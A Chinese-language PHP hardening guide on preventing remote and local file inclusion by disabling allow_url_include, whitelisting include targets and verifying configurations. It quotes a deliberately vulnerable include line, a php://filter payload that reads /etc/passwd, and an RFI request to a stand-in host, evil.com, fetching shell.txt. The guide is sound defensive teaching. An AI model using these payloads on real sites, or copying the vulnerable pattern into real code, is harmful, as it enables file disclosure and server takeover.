应将 php.ini 中 allow_url_include 设为 Off 并重启 Web 服务,若无权限可改 .htaccess 或 user.ini;同时需代码层白名单校验、禁用 php:// 等危险协议,且须检查 CLI 与 Web SAPI 配置是否一致。

php.ini 里怎么关掉 allow_url_include
远程文件包含漏洞(RFI)的核心前提是 PHP 允许从 URL 加载并执行代码,而控制开关就是 allow_url_include。它默认是 Off,但有些老旧环境或一键包(如某些旧版 WAMP/XAMPP)会误开为 On。
直接编辑 php.ini,找到这一行:
allow_url_include = On
改成:
allow_url_include = Off
注意:改完必须重启 Web 服务(apache 或 php-fpm),否则不生效。用 phpinfo() 页面确认当前值是否为 Off,别只信配置文件内容。
立即学习“PHP免费学习笔记(深入)”;
- 如果找不到该配置项,就手动加一行 —— 它不是必选项,没写等于默认
Off,但显式写出来更稳妥 - 共享主机用户可能无权改
php.ini,此时可用.htaccess(Apache)或user.ini(PHP 5.3+)覆盖:php_flag allow_url_include off -
allow_url_fopen = Off可顺带关掉——虽然它不影响include,但能阻止很多基于file_get_contents()、fopen()的 RFI 利用链
为什么 include/require 拼接用户输入就是高危
哪怕 allow_url_include 是 Off,只要代码里把用户可控参数(比如 $_GET['page'])直接塞进 include,仍可能被绕过或引发 LFI(本地文件包含),进而读取敏感文件甚至配合日志/临时文件 getshell。
典型危险写法:
include $_GET['page'] . '.php';
攻击者传 ?page=php://filter/read=convert.base64-encode/resource=/etc/passwd 就能读文件(即使 allow_url_include=Off,php:// 流仍可用)。
- 永远不要信任用户输入作为文件路径的一部分
- 用白名单硬编码可包含的模块名:
$pages = ['home', 'about']; if (in_array($_GET['page'], $pages)) { include $_GET['page'] . '.php'; } - 若必须动态加载,用
basename()剥离路径干扰:include basename($_GET['page']) . '.php';,但仍有风险,白名单仍是首选
Web 服务器层能不能挡 RFI 请求
不能靠 Nginx/Apache 的请求过滤“拦住 RFI”,因为 RFI 是 PHP 解析阶段的行为,HTTP 层看到的只是普通 GET 请求(比如 ?file=http://evil.com/shell.txt)。规则写再严,只要 PHP 执行了那行 include,就晚了。
但可以做两件事降低危害:
- Nginx 中禁用
.php文件里的 URL 协议解析(仅限特定目录):location ~ \.php$ { ... fastcgi_param PHP_VALUE "allow_url_include=Off"; } - Apache 的
mod_security可拦截含http://、https://、php://的include参数,但属于事后补救,且规则易被绕过(如双写、编码) - 真正有效的防护在代码逻辑和 PHP 配置,不在 Web 服务器
检查线上环境有没有漏掉的 allow_url_include
很多运维会改主 php.ini,却忘了 CLI 模式或不同 vhost 下的 php_admin_value 覆盖。一个 PHP 进程可能加载多个配置文件。
最可靠方式是运行:
php -r "echo ini_get('allow_url_include');"
以及:
php --ini
看实际生效的是哪个 php.ini。CLI 和 Web SAPI 的配置常不同,尤其部署队列任务或定时脚本时,容易忽略 CLI 的 allow_url_include 状态。
另外,Docker 容器、宝塔面板、cPanel 的 PHP 插件管理界面,都可能单独覆盖这个值,得逐个确认。
别只查一次;上线前、升版后、换 PHP 版本时,都值得再跑一遍 ini_get()。











